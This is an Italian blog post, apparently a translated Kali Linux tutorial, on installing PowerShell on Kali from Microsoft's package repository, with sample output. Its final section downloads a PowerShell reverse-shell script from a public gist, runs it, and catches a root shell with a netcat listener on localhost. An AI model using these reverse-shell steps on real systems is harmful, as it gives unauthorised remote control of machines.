AGGIORNAMENTO NOVEMBRE 2019
Questo post non è aggiornato a partire dal 2019 poiché PowerShell è stato aggiunto ai repository principali. Basta fare un:
apt update && apt -y install powershell
E avrai PowerShell sul tuo sistema.
Vecchio post
Potresti già essere consapevole del fatto che puoi aggiungere in sicurezza repository esterni alla tua installazione di Kali Linux, ma potresti non essere consapevole del fatto che uno dei tanti repository disponibili online ne include uno di Microsoft che include PowerShell. Il repository è per Debian ma i suoi pacchetti si installano perfettamente su Kali, come mostreremo in questo post.
Installazione del pacchetto PowerShell in Kali
Iniziamo installando le dipendenze necessarie, la maggior parte delle quali dovrebbe essere già installata nella tua installazione di Kali per impostazione predefinita.
apt update && apt -y install curl gnupg apt-transport-https
Successivamente, dobbiamo scaricare e aggiungere la chiave GPG del repository pubblico in modo che APT consideri attendibili i pacchetti e ti avviserà di eventuali problemi con le firme dei pacchetti.
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
Con l'aggiunta della chiave GPG, procediamo con l'aggiunta del repository di pacchetti Microsoft al proprio file di elenco dei pacchetti in /etc/apt/sources.list.d/ e aggiorna l'elenco dei pacchetti disponibili.
echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/powershell.list
apt update
Infine, procediamo con l'installazione del pacchetto PowerShell.
apt -y install powershell
PowerShell in esecuzione
Al termine dell'installazione del pacchetto, esegui pwsh avvierà PowerShell, presentandoci il familiare prompt "PS".
[email protected]:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /root>
Se non conosci PowerShell, una delle prime cose che probabilmente vorrai fare è aggiornare la guida integrata, che può essere eseguita eseguendo la Guida all'aggiornamento cmdlet. Il completamento dell'operazione potrebbe richiedere un po' di tempo, ma in realtà deve essere eseguito solo una volta ogni tanto.
PS /root> Update-Help
Updating Help for module Microsoft.PowerShell.Utility
Locating Help Content...
Come ci si potrebbe aspettare, non troverai tutti i comandi a cui sei abituato quando usi PowerShell su Windows, ma tutti i moduli principali sono presenti e il codice è in costante sviluppo e miglioramento.
PS /root> Get-Process -Name gnome*
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0.00 5.71 0.03 1073 072 gnome-keyring-d
0 0.00 9.80 0.19 659 649 gnome-session-b
0 0.00 13.72 0.36 1089 080 gnome-session-b
0 0.00 110.06 3.36 778 649 gnome-shell
0 0.00 277.15 27.85 1170 080 gnome-shell
0 0.00 11.77 0.09 1199 075 gnome-shell-cal
0 0.00 77.79 4.58 1381 080 gnome-software
0 0.00 36.58 2.03 1646 646 gnome-terminal-
Una delle cose sorprendenti che puoi tuttavia, è utilizzare PowerShell per inviare una shell inversa a un listener Netcat. Ci siamo imbattuti in una piccola shell inversa di PowerShell online e, con nostra grande sorpresa, si è ricollegata felicemente al nostro ascoltatore.
[email protected]:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /root> wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1
PS /root> ./mini-reverse.ps1
────────────────────────────────────────────────────────────────────────────────
[email protected]:~# nc -lvnp 413
listening on [any] 413 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59006
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux
Pensiamo che sia straordinario che, non solo Microsoft Open Source PowerShell, lo abbiano anche aggiornato e migliorato costantemente e avere un repository di pacchetti pubblico per esso rende l'installazione un gioco da ragazzi.